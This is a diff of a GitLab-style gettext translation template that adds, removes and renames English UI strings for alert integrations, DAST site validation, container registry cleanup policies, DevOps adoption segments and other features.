@@ -2449,27 +2522,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
+msgstr ""
+
+msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2479,9 +2576,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2491,6 +2585,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2503,6 +2609,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr ""
@@ -2518,16 +2627,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2632,6 +2762,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr ""
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -2749,9 +2882,6 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -2872,9 +3002,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
@@ -2908,16 +3035,19 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr ""
-msgid "An error occurred while importing project: %{details}"
+msgid "An error occurred while initializing path locks"
msgstr ""
-msgid "An error occurred while initializing path locks"
+msgid "An error occurred while loading a section of this page."
msgstr ""
msgid "An error occurred while loading all the files."
@@ -2974,6 +3104,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3001,9 +3134,6 @@ msgstr ""
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3034,6 +3164,9 @@ msgstr ""
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3052,6 +3185,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3238,6 +3374,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3296,6 +3438,9 @@ msgid "ApprovalRuleSummary|%{count} approval required from %{membersCount}"
msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCount}"
msgstr[0] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3377,6 +3522,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3428,9 +3576,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr ""
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr ""
@@ -3480,6 +3625,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr ""
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr ""
@@ -3752,6 +3900,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -3872,6 +4026,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4160,12 +4317,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4190,6 +4353,10 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4241,6 +4408,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4499,9 +4669,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr ""
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4529,6 +4696,9 @@ msgstr ""
msgid "CI Lint"
msgstr ""
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4625,6 +4795,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4652,6 +4825,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr ""
@@ -4685,9 +4864,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -4829,6 +5005,9 @@ msgstr ""
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -4847,9 +5026,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -4916,6 +5092,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5102,12 +5281,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -5141,6 +5314,9 @@ msgstr ""
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5309,7 +5485,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5351,10 +5527,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5402,7 +5578,7 @@ msgstr ""
msgid "Close"
msgstr ""
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5411,9 +5587,6 @@ msgstr ""
msgid "Close epic"
msgstr ""
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr ""
@@ -5504,6 +5677,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5612,6 +5788,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -5870,9 +6049,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr ""
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -5975,6 +6151,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6308,7 +6487,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6648,6 +6827,9 @@ msgstr ""
msgid "Commit Message"
msgstr ""
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -6771,9 +6953,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -6945,6 +7124,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
@@ -6969,7 +7151,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -6995,6 +7177,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7070,6 +7255,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7079,6 +7273,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7101,7 +7304,16 @@ msgid "ContainerRegistry|Remove tag"
msgid_plural "ContainerRegistry|Remove tags"
msgstr[0] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7110,6 +7322,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7131,21 +7346,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -7933,9 +8157,6 @@ msgstr ""
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -7996,6 +8217,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8120,9 +8344,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8171,7 +8392,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8198,9 +8422,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8222,15 +8443,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8264,9 +8485,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8300,64 +8530,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|Header validation"
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|The validation has failed. Please try again."
+msgstr ""
+
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
+msgstr ""
+
+msgid "DastSiteValidation|Validate"
+msgstr ""
+
+msgid "DastSiteValidation|Validate target site"
+msgstr ""
+
+msgid "DastSiteValidation|Validated"
+msgstr ""
+
+msgid "DastSiteValidation|Validating..."
+msgstr ""
+
+msgid "DastSiteValidation|Validation failed"
+msgstr ""
+
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8471,9 +8722,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8498,7 +8746,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8582,9 +8830,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -8984,6 +9229,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9002,6 +9250,9 @@ msgstr ""
msgid "Description"
msgstr ""
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9038,6 +9289,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9095,6 +9349,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9173,15 +9430,9 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9191,15 +9442,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9387,9 +9707,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -9462,9 +9779,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -9513,9 +9827,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9621,6 +9941,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -9696,6 +10019,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -9726,6 +10052,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -9798,7 +10127,7 @@ msgstr ""
msgid "Enable"
msgstr ""
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -9816,6 +10145,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10167,6 +10499,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10278,6 +10613,9 @@ msgstr ""
msgid "Environments|Stopping"
